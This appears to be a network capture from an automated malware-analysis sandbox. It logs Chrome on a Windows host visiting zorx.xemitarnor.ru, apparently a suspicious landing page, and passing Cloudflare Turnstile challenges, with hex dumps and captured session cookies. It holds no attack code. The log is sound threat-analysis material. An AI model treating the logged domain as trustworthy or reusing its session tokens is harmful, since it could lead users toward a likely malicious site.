2025-01-15 12:08:20 UTC	1323	OUT	GET /favicon.ico HTTP/1.1 Host: zorx.xemitarnor.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://zorx.xemitarnor.ru/U6OnAOL/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImRSbmRaY3hxTTdHZlR1NWM5NzJrZXc9PSIsInZhbHVlIjoiS2w5WWlxMGtqZVZvdm9pTWJjUjd3RWlQWGNjdUhURTRKVUNEbUNsRGQ4MUUxWExEZUJJSEdYYkNDNVVTd0dWbWxvbktQMDhJM3dMOWhOQkRTWUVvanFkeVFDQkxrajY2TmJHRDQ1enBCNUpuM0p2REJkbFZSdkIreWV0ZjlDUG8iLCJtYWMiOiI2NzAwOWIyYTZkYzhhNzdjMzdmZmFmZjhiNTEwYWVjY2E4NzNhZDJlM2I0YjM0YjI5NmVhMjljOWNjZGYzNTZjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im42NUpFWllMd1hjUm1zMjlUY1NXOFE9PSIsInZhbHVlIjoiQnBtei9nNU5kbzVVb1p0djZCUDZrbGIxMzlKM3Y5MmFDQU5IWnNXTGl4WGpGM09BSTl5K0Q2MVRKaUI4UGN3UmpzYzNSYm0yWDBGSnVpMnlzMWtKWmlzQ0dkK0JLMFN4ODdLQUV0U3ZCcE5WUkFKODRodUhpSFllN3p3ckFtcFYiLCJtYWMiOiI0MDIzNmUzNDM5MTIxYmRmYWYwOTYyOWViOGI3YTBmNzA4NGE4NWFlNmM2YzMyM2NmZDBiMGExMzQ4MjkxNGU5IiwidGFnIjoiIn0%3D
2025-01-15 12:08:21 UTC	1066	IN	HTTP/1.1 404 Not Found Date: Wed, 15 Jan 2025 12:08:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C2lCD1gU%2FM9ngs6ZalR0MAxc2GE5D%2B6tdoX0ASpecs%2BoCfa1mPsf8A0T%2FChmJyBpXn77mqsdhMqlDK%2Bbo%2FKXg8cIrWcY%2BgDKmVxmv0ccfPmssvXJ7Rrkz3tiQ5P4tw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5372&min_rtt=5350&rtt_var=2051&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2823&recv_bytes=2238&delivery_rate=514915&cwnd=231&unsent_bytes=0&cid=0c9d858c20ab1d78&ts=166&x=0" CF-Cache-Status: MISS Server: cloudflare CF-RAY: 9025c02b7b7ca272-YUL server-timing: cfL4;desc="?proto=TCP&rtt=17647&min_rtt=17631&rtt_var=6645&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1901&delivery_rate=164368&cwnd=32&unsent_bytes=0&cid=7844d42f1c32ab72&ts=540&x=0"
2025-01-15 12:08:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49791	104.18.94.41	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:20 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1247897239:1736940565:VIX6yGzrkX0RSR09UdpgbV39MWzrfZkSsFbrjQKzdko/9025c0217ef90f85/Lyki2blfRlhwRWpt8_cq89uPuMGCyZw2zSZgCfbW.dg-1736942899-1.1.1.1-SJrXOdd12Np8k727L_hBb5elS3gxm9ZZfpetgWHJt9PYCik69fbzIcKBl3_pXAhs HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3215 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: Lyki2blfRlhwRWpt8_cq89uPuMGCyZw2zSZgCfbW.dg-1736942899-1.1.1.1-SJrXOdd12Np8k727L_hBb5elS3gxm9ZZfpetgWHJt9PYCik69fbzIcKBl3_pXAhs sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rufw6/0x4AAAAAAA5J_zo6B27ku3kM/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:20 UTC	3215	OUT	Data Raw: 76 5f 39 30 32 35 63 30 32 31 37 65 66 39 30 66 38 35 3d 4d 50 71 78 56 78 59 78 36 78 57 78 5a 35 24 55 35 24 7a 78 35 6e 62 53 25 32 62 4b 6e 24 52 35 4f 4f 24 65 6a 24 62 54 78 35 49 24 42 78 62 71 4b 62 79 49 71 24 75 30 49 24 72 47 35 44 4d 24 76 78 35 7a 71 24 62 34 6f 50 45 66 24 34 53 24 64 24 35 50 24 34 71 38 54 24 6a 24 45 54 62 4f 24 53 54 30 71 24 36 32 6e 45 4b 24 69 6b 71 45 7a 68 78 62 41 24 63 79 61 67 74 48 76 41 24 72 41 24 4c 61 6e 35 68 51 6b 38 54 62 43 53 24 74 47 45 58 30 43 76 65 38 44 53 24 4d 78 45 34 66 36 56 31 35 71 6a 43 69 69 48 36 24 30 59 52 4e 76 24 4a 32 68 51 6a 38 78 65 44 32 30 49 24 62 6e 47 53 66 54 24 56 32 71 24 73 24 43 5a 69 24 42 42 47 4d 62 4e 72 66 54 45 67 54 76 54 6f 62 35 51 24 32 67 41 63 61 47 24 6b 53 Data Ascii: v_9025c0217ef90f85=MPqxVxYx6xWxZ5$U5$zx5nbS%2bKn$R5OO$ej$bTx5I$BxbqKbyIq$u0I$rG5DM$vx5zq$b4oPEf$4S$d$5P$4q8T$j$ETbO$ST0q$62nEK$ikqEzhxbA$cyagtHvA$rA$Lan5hQk8TbCS$tGEX0Cve8DS$MxE4f6V15qjCiiH6$0YRNv$J2hQj8xeD20I$bnGSfT$V2q$s$CZi$BBGMbNrfTEgTvTob5Q$2gAcaG$kS
2025-01-15 12:08:21 UTC	751	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 12:08:21 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 153016 Connection: close cf-chl-gen: k1Nr3B8bb3CtKO0NhxQ6PWRsRp7UBKRTlf/JXm7cRNHJrvMyB0F9u6pJgWIQWEUhc7YFCvBlO3eKfOkmuYSezvW2ok7BBlo8bkqrfwSOxrGFwqb1qnQu6JKy8jZrelH29TZgVg8/nPatOzFN1SilEO2xhL1FAy3F+U17z1TqDa1CsVUqx2A9G/u7d9MS038AwUz43XlSmA0/8bMSTOUkNOKj7LpHqlxjrtL1gOPjLjtq7EJdHoh6mEkQOXAi6cmMVhYP3icB8VAEvMxEDe8lqqejdkLH+IejtvKbL7WVTMYfO260kscxDubOWI6T+VU4UgxnsH0m/d5coJ5cuh0imaZBJd3OprX+3hS5bXu8BlXEwvG/fz04ghTU0Sk+a4LtugIxdyItfr0boR6Kw4Qzkg2IlTd2aAdQ0EhC6N1DbRnac9JUIZ4PXYkjkikh0paswreALvvFKX+Je+vRc7CR7IulkSpR3F/CAOcIrStBFJw=$VNkRxXeFHEXqmPWCo1x2Nw== Server: cloudflare CF-RAY: 9025c02b8a384223-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 12:08:21 UTC	618	IN	Data Raw: 71 72 2b 79 74 34 42 38 6f 34 2b 68 75 6f 4b 32 6c 72 57 70 78 4b 69 63 6a 59 2b 6f 31 73 57 66 74 35 53 56 79 37 7a 57 7a 39 48 61 33 62 4b 79 6e 63 54 67 76 38 53 39 34 2b 4f 71 32 61 79 70 72 61 50 4c 79 62 2b 76 77 4f 48 77 32 74 65 7a 36 38 66 39 2b 62 7a 71 2b 39 34 43 33 51 54 6d 32 2b 6b 45 32 66 54 72 43 75 33 35 37 76 4d 50 39 4f 4d 4b 41 75 77 44 30 76 76 70 46 66 6a 76 45 67 50 38 38 78 50 67 45 77 51 59 2b 43 62 68 49 79 30 4d 36 43 77 51 4d 66 49 4f 4e 77 41 47 4c 68 62 79 47 6a 67 4e 48 7a 49 54 44 44 55 67 46 78 42 42 4f 44 6b 58 47 78 73 57 51 79 73 38 49 67 35 51 4c 6b 64 4f 46 30 34 54 53 78 4e 54 46 78 55 6e 4e 31 51 7a 46 55 35 58 52 7a 6c 56 57 43 5a 6e 56 47 4d 39 62 46 31 6b 62 57 42 74 52 45 68 77 4e 6b 78 56 4d 31 30 36 56 54 31 Data Ascii: qr+yt4B8o4+huoK2lrWpxKicjY+o1sWft5SVy7zWz9Ha3bKyncTgv8S94+Oq2aypraPLyb+vwOHw2tez68f9+bzq+94C3QTm2+kE2fTrCu357vMP9OMKAuwD0vvpFfjvEgP88xPgEwQY+CbhIy0M6CwQMfIONwAGLhbyGjgNHzITDDUgFxBBODkXGxsWQys8Ig5QLkdOF04TSxNTFxUnN1QzFU5XRzlVWCZnVGM9bF1kbWBtREhwNkxVM106VT1
2025-01-15 12:08:21 UTC	1369	IN	Data Raw: 32 52 61 34 5a 4d 56 6d 57 44 6b 6d 61 4f 63 47 5a 59 56 6f 35 77 6c 6e 52 36 6a 5a 36 47 6d 49 57 66 5a 32 68 71 70 32 6d 48 62 34 6c 73 69 36 53 51 62 6f 32 44 75 49 36 62 6b 72 4f 66 77 62 32 57 72 4a 69 50 6b 4d 47 45 69 5a 54 42 77 73 65 46 76 63 69 72 72 73 79 77 31 72 36 31 79 4e 71 32 75 4b 61 57 72 63 44 54 32 37 72 4d 78 64 4c 67 33 37 4c 69 79 4f 48 6c 75 4f 32 74 75 62 75 79 73 2f 44 43 73 2f 4c 45 75 65 58 77 33 63 6e 77 76 38 44 71 41 77 50 64 34 37 37 51 78 41 62 6f 2f 67 6e 62 35 4d 48 71 42 73 54 75 42 67 7a 51 46 50 63 54 34 75 38 62 7a 78 38 52 36 39 37 55 46 2f 77 52 32 50 7a 36 43 68 67 6f 39 69 63 67 2b 75 34 79 2f 69 38 31 44 79 45 48 4d 66 48 79 4c 43 77 31 47 42 41 71 44 41 41 2b 48 77 38 2f 47 42 77 57 43 55 63 58 4c 54 77 65 44 Data Ascii: 2Ra4ZMVmWDkmaOcGZYVo5wlnR6jZ6GmIWfZ2hqp2mHb4lsi6SQbo2DuI6bkrOfwb2WrJiPkMGEiZTBwseFvcirrsyw1r61yNq2uKaWrcDT27rMxdLg37LiyOHluO2tubuys/DCs/LEueXw3cnwv8DqAwPd477QxAbo/gnb5MHqBsTuBgzQFPcT4u8bzx8R697UF/wR2Pz6Chgo9icg+u4y/i81DyEHMfHyLCw1GBAqDAA+Hw8/GBwWCUcXLTweD
2025-01-15 12:08:21 UTC	1369	IN	Data Raw: 46 69 6c 61 4b 55 32 6d 64 6d 4a 56 71 65 34 43 4d 58 71 56 36 67 47 4a 71 71 71 52 6b 6d 49 43 67 73 5a 31 76 63 48 31 2f 70 37 61 6c 6d 4a 61 4d 66 49 65 4b 73 5a 74 35 6f 6f 4b 7a 75 72 53 33 6c 4d 58 46 76 4d 4f 41 70 6f 6a 49 73 6f 32 66 79 4a 54 4b 78 5a 6d 6b 79 4b 32 2b 78 36 7a 56 34 4b 75 62 35 5a 32 75 33 72 36 66 36 38 61 6e 31 37 36 2b 7a 38 36 76 38 65 50 73 76 39 66 7a 73 75 33 38 39 76 4c 65 32 76 37 59 34 67 54 5a 41 72 7a 77 32 77 58 6f 31 64 7a 45 35 4e 6f 45 36 4d 7a 4a 39 52 51 48 38 2b 4d 49 45 64 48 33 31 74 51 66 41 52 51 6a 34 78 45 58 2b 65 4c 32 45 2f 4d 6d 37 42 7a 6e 47 67 51 42 4d 75 6b 4e 39 50 45 55 42 51 6b 71 39 67 62 76 46 44 33 37 43 78 49 56 52 76 77 39 4e 45 51 53 49 41 4d 6c 44 69 55 72 50 44 30 6e 48 30 4d 51 4b 7a Data Ascii: FilaKU2mdmJVqe4CMXqV6gGJqqqRkmICgsZ1vcH1/p7almJaMfIeKsZt5ooKzurS3lMXFvMOApojIso2fyJTKxZmkyK2+x6zV4Kub5Z2u3r6f68an176+z86v8ePsv9fzsu389vLe2v7Y4gTZArzw2wXo1dzE5NoE6MzJ9RQH8+MIEdH31tQfARQj4xEX+eL2E/Mm7BznGgQBMukN9PEUBQkq9gbvFD37CxIVRvw9NEQSIAMlDiUrPD0nH0MQKz
2025-01-15 12:08:21 UTC	1369	IN	Data Raw: 56 33 78 35 56 48 78 6b 68 6e 70 68 6e 46 74 69 6c 6f 4b 6d 5a 6d 79 4f 70 62 4b 4e 64 4a 4f 78 62 72 68 31 6d 58 46 38 74 71 36 55 77 5a 2b 4e 65 37 75 65 78 72 2b 53 70 59 47 71 78 4b 53 4f 6e 4d 2f 4a 30 70 43 6b 31 4d 36 7a 70 36 66 58 6c 35 62 56 31 70 57 38 74 64 4b 38 30 39 36 6d 6f 62 7a 61 33 39 54 6a 33 37 2f 6d 37 2f 48 70 72 65 54 53 35 63 50 50 38 66 58 33 78 61 2f 39 79 64 2f 71 32 72 33 4f 2f 67 44 65 33 74 6e 62 36 51 63 4e 36 75 76 64 33 39 49 50 34 73 73 4d 37 52 45 54 32 67 6e 75 37 75 7a 39 48 74 6f 4e 49 39 30 52 49 77 59 42 48 42 33 6c 36 51 73 6b 35 68 6f 71 4c 6a 41 43 39 54 59 43 47 43 4d 75 4d 41 58 36 39 69 2f 32 4c 68 6b 64 4a 52 73 52 4f 78 4d 36 4e 55 6f 32 42 68 67 6f 4a 69 45 38 45 41 38 32 55 54 5a 44 53 53 55 56 4b 56 4a Data Ascii: V3x5VHxkhnphnFtiloKmZmyOpbKNdJOxbrh1mXF8tq6UwZ+Ne7uexr+SpYGqxKSOnM/J0pCk1M6zp6fXl5bV1pW8tdK8096mobza39Tj37/m7/HpreTS5cPP8fX3xa/9yd/q2r3O/gDe3tnb6QcN6uvd39IP4ssM7RET2gnu7uz9HtoNI90RIwYBHB3l6Qsk5hoqLjAC9TYCGCMuMAX69i/2LhkdJRsROxM6NUo2BhgoJiE8EA82UTZDSSUVKVJ
2025-01-15 12:08:21 UTC	1369	IN	Data Raw: 48 71 62 6f 34 4a 33 58 61 68 6a 6e 6f 4e 6e 70 36 71 41 70 47 75 57 6c 58 53 77 75 4c 56 30 72 72 61 72 77 59 36 61 77 61 44 43 67 4b 69 2f 79 4d 47 4c 66 72 36 6b 71 73 61 75 78 49 58 4c 71 4d 69 68 74 63 71 69 6a 64 32 2b 7a 37 2f 4e 79 39 4c 44 74 4d 43 38 77 61 57 62 79 65 71 70 34 4e 7a 6b 34 4c 6e 61 76 2b 2f 41 31 62 65 7a 39 37 69 34 31 4e 32 30 31 2f 47 39 31 4e 72 6a 42 62 6a 67 41 67 76 56 43 64 76 4e 32 4f 54 77 32 39 6f 43 37 63 73 51 36 39 54 79 36 4e 58 6d 37 41 6b 41 32 66 63 4f 38 78 48 7a 49 41 66 35 34 68 76 6d 35 51 49 5a 44 69 44 2b 44 42 41 48 38 66 4d 6e 45 77 30 36 4d 44 77 58 48 42 33 34 44 43 44 37 4a 6a 45 30 46 67 63 6e 4a 44 51 64 53 44 63 48 47 79 52 4e 53 68 46 55 51 52 68 5a 4d 46 59 55 52 54 63 77 4b 6b 49 77 4d 56 39 68 Data Ascii: Hqbo4J3XahjnoNnp6qApGuWlXSwuLV0rrarwY6awaDCgKi/yMGLfr6kqsauxIXLqMihtcqijd2+z7/Ny9LDtMC8waWbyeqp4Nzk4Lnav+/A1bez97i41N201/G91NrjBbjgAgvVCdvN2OTw29oC7csQ69Ty6NXm7AkA2fcO8xHzIAf54hvm5QIZDiD+DBAH8fMnEw06MDwXHB34DCD7JjE0FgcnJDQdSDcHGyRNShFUQRhZMFYURTcwKkIwMV9h
2025-01-15 12:08:21 UTC	1369	IN	Data Raw: 71 44 6d 5a 36 52 6e 6f 47 6a 68 33 36 4e 6f 71 65 49 65 6e 74 38 6e 5a 36 58 72 34 6d 4b 70 49 54 47 68 6f 4f 39 70 70 62 44 77 59 69 39 6a 71 6d 35 6f 4d 75 4e 6e 63 36 55 70 4a 53 53 70 35 79 2b 6b 4b 75 7a 6e 39 37 57 6d 36 4c 47 78 65 6d 38 31 63 43 69 72 63 6a 64 37 4d 37 4f 37 2b 61 77 39 62 4c 55 34 64 6a 52 7a 39 47 33 36 65 6e 36 2f 67 47 39 33 4e 44 6d 78 77 66 55 39 64 6f 50 44 63 34 46 35 67 6f 41 36 67 6f 49 7a 63 2f 58 39 76 63 48 35 66 44 65 37 64 30 69 41 66 6e 39 33 4f 54 69 42 67 41 49 4a 65 50 73 45 4f 63 52 4a 41 6b 6d 45 50 37 76 47 69 58 34 4d 68 59 38 49 42 6a 2b 41 42 6b 4e 44 54 72 38 41 44 45 58 4a 6a 51 70 50 68 30 50 48 67 74 4f 44 55 6b 6d 49 6a 6c 61 56 30 6c 61 53 54 30 78 4f 52 34 71 5a 45 46 67 4c 30 42 62 59 47 49 2f 59 Data Ascii: qDmZ6RnoGjh36NoqeIent8nZ6Xr4mKpITGhoO9ppbDwYi9jqm5oMuNnc6UpJSSp5y+kKuzn97Wm6LGxem81cCircjd7M7O7+aw9bLU4djRz9G36en6/gG93NDmxwfU9doPDc4F5goA6goIzc/X9vcH5fDe7d0iAfn93OTiBgAIJePsEOcRJAkmEP7vGiX4MhY8IBj+ABkNDTr8ADEXJjQpPh0PHgtODUkmIjlaV0laST0xOR4qZEFgL0BbYGI/Y
2025-01-15 12:08:21 UTC	1369	IN	Data Raw: 43 6b 61 6d 75 69 71 69 34 74 48 71 39 6b 37 71 30 6e 61 32 65 6f 4b 53 2f 70 34 43 30 6e 6e 79 62 72 59 53 74 75 73 72 4e 6e 63 6e 4b 7a 37 36 6a 31 4e 65 36 75 4e 48 4d 6e 71 36 67 74 4e 72 4c 72 65 4f 63 30 75 4f 31 74 4c 7a 67 79 2b 54 51 72 63 6e 6c 36 38 72 56 37 64 4c 4d 71 2f 61 30 39 64 72 77 2f 51 44 4e 76 77 41 47 37 63 54 77 78 75 6e 44 42 39 73 48 43 38 2f 4f 43 38 77 52 45 4e 48 4d 36 4f 6e 54 47 4e 48 56 45 42 48 75 43 65 2f 64 42 65 7a 31 35 66 6e 69 48 51 58 69 34 2b 73 4b 2f 4f 2f 74 43 54 58 39 43 42 55 70 2b 41 77 53 39 7a 55 6f 44 52 38 64 45 67 49 73 2f 6a 41 64 49 30 51 63 4b 44 30 33 43 69 52 44 53 31 41 74 52 6c 4e 56 4d 6b 70 45 55 44 4a 64 4c 6a 45 31 46 78 70 4b 57 53 35 47 48 56 6c 6b 58 32 42 4a 50 6d 52 74 59 54 78 4a 4b 55 Data Ascii: Ckamuiqi4tHq9k7q0na2eoKS/p4C0nnybrYStusrNncnKz76j1Ne6uNHMnq6gtNrLreOc0uO1tLzgy+TQrcnl68rV7dLMq/a09drw/QDNvwAG7cTwxunDB9sHC8/OC8wRENHM6OnTGNHVEBHuCe/dBez15fniHQXi4+sK/O/tCTX9CBUp+AwS9zUoDR8dEgIs/jAdI0QcKD03CiRDS1AtRlNVMkpEUDJdLjE1FxpKWS5GHVlkX2BJPmRtYTxJKU
2025-01-15 12:08:21 UTC	1369	IN	Data Raw: 73 59 4f 53 75 33 74 2f 72 37 75 36 6b 4b 43 67 70 35 47 6c 68 33 79 62 6f 4b 66 48 72 38 71 74 73 4c 32 4b 73 6f 33 52 6c 59 75 57 31 49 37 63 7a 4d 43 66 32 4d 37 45 70 4c 43 36 77 37 61 6a 31 4b 66 6e 37 4f 6e 45 71 73 54 6a 32 39 2f 6f 78 75 58 74 39 75 32 74 2b 4d 62 73 2b 37 6e 71 76 66 58 61 31 62 7a 68 42 4e 7a 58 35 4f 33 58 36 4f 58 49 7a 50 7a 51 33 2b 63 55 45 67 55 55 44 77 54 76 37 78 7a 72 45 78 41 64 33 2f 6a 6a 4a 50 73 46 39 41 41 44 43 79 63 71 49 51 67 69 4a 52 45 45 45 78 41 68 4e 53 6a 77 4c 66 58 31 39 68 58 32 45 54 38 64 50 45 51 51 45 52 6f 65 43 30 6b 44 46 79 30 72 4d 6b 30 79 51 6b 4e 41 45 68 55 6d 47 45 39 62 4d 56 4d 73 47 42 70 64 55 31 31 6b 4a 6a 63 6b 4d 57 4e 58 4b 32 46 6b 51 6c 42 46 50 55 30 30 58 56 51 2f 5a 6c 6c Data Ascii: sYOSu3t/r7u6kKCgp5Glh3yboKfHr8qtsL2Kso3RlYuW1I7czMCf2M7EpLC6w7aj1Kfn7OnEqsTj29/oxuXt9u2t+Mbs+7nqvfXa1bzhBNzX5O3X6OXIzPzQ3+cUEgUUDwTv7xzrExAd3/jjJPsF9AADCycqIQgiJREEExAhNSjwLfX19hX2ET8dPEQQERoeC0kDFy0rMk0yQkNAEhUmGE9bMVMsGBpdU11kJjckMWNXK2FkQlBFPU00XVQ/Zll
2025-01-15 12:08:21 UTC	1369	IN	Data Raw: 4a 71 79 76 35 76 44 75 62 69 46 68 63 69 58 78 59 32 6c 70 61 4c 4b 70 63 69 4b 71 62 61 74 73 4a 44 61 31 4c 6e 57 73 4c 48 67 75 64 4f 64 33 35 76 41 76 63 54 6d 6e 4d 6e 57 32 4b 33 44 72 4d 2b 2f 38 66 57 79 34 4d 50 53 77 39 50 49 74 36 2f 51 37 67 41 42 2b 62 2f 63 35 4f 62 68 30 62 76 46 36 41 62 66 2b 74 76 76 32 66 73 51 7a 39 38 4d 31 39 67 44 2b 2b 66 78 35 51 7a 6f 37 42 50 69 38 52 50 2b 39 2f 77 68 43 51 49 4b 47 67 45 69 49 78 30 77 37 78 30 49 41 69 6e 70 4d 41 34 74 4a 41 38 59 48 67 6b 79 51 50 51 31 42 53 51 2f 48 67 63 57 46 44 34 5a 47 41 6b 6c 44 56 41 2f 54 69 67 30 4b 53 55 6e 57 41 30 58 47 6c 78 52 4c 44 55 74 48 6c 67 64 51 7a 4e 65 61 6a 35 4b 52 30 5a 58 51 32 68 6e 4c 45 68 31 5a 79 77 70 52 30 56 6c 64 6c 68 2b 54 6d 68 57 Data Ascii: Jqyv5vDubiFhciXxY2lpaLKpciKqbatsJDa1LnWsLHgudOd35vAvcTmnMnW2K3DrM+/8fWy4MPSw9PIt6/Q7gAB+b/c5Obh0bvF6Abf+tvv2fsQz98M19gD++fx5Qzo7BPi8RP+9/whCQIKGgEiIx0w7x0IAinpMA4tJA8YHgkyQPQ1BSQ/HgcWFD4ZGAklDVA/Tig0KSUnWA0XGlxRLDUtHlgdQzNeaj5KR0ZXQ2hnLEh1ZywpR0Vldlh+TmhW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49793	104.18.94.41	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:21 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1247897239:1736940565:VIX6yGzrkX0RSR09UdpgbV39MWzrfZkSsFbrjQKzdko/9025c0217ef90f85/Lyki2blfRlhwRWpt8_cq89uPuMGCyZw2zSZgCfbW.dg-1736942899-1.1.1.1-SJrXOdd12Np8k727L_hBb5elS3gxm9ZZfpetgWHJt9PYCik69fbzIcKBl3_pXAhs HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:22 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Wed, 15 Jan 2025 12:08:21 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 5i8YWo16hI6zSMUUF6TneKPkljHgwJkw1gn6rRbyibMr/N1Tad8DBIL9eqbURIqohjMeobI3+iYib83e116Qqw==$JeSNCn2ax2ZkoDaE+GBEEw== Server: cloudflare CF-RAY: 9025c0316f9f0f9d-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 12:08:22 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49794	104.18.94.41	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:22 UTC	811	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/9025c0217ef90f85/1736942901056/73dd5e214d07ff57fbbe87280bec79369d3212f0113176e6902b0fae2bbfbe6f/XEmwaJ4Z7VHJmsA HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rufw6/0x4AAAAAAA5J_zo6B27ku3kM/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:22 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Wed, 15 Jan 2025 12:08:22 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-01-15 12:08:22 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 63 39 31 65 49 55 30 48 5f 31 66 37 76 6f 63 6f 43 2d 78 35 4e 70 30 79 45 76 41 52 4d 58 62 6d 6b 43 73 50 72 69 75 5f 76 6d 38 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gc91eIU0H_1f7vocoC-x5Np0yEvARMXbmkCsPriu_vm8AGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-01-15 12:08:22 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49795	104.18.94.41	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:22 UTC	782	OUT	GET /cdn-cgi/challenge-platform/h/b/i/9025c0217ef90f85/1736942901057/9199S0QpC3pAwX6 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rufw6/0x4AAAAAAA5J_zo6B27ku3kM/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
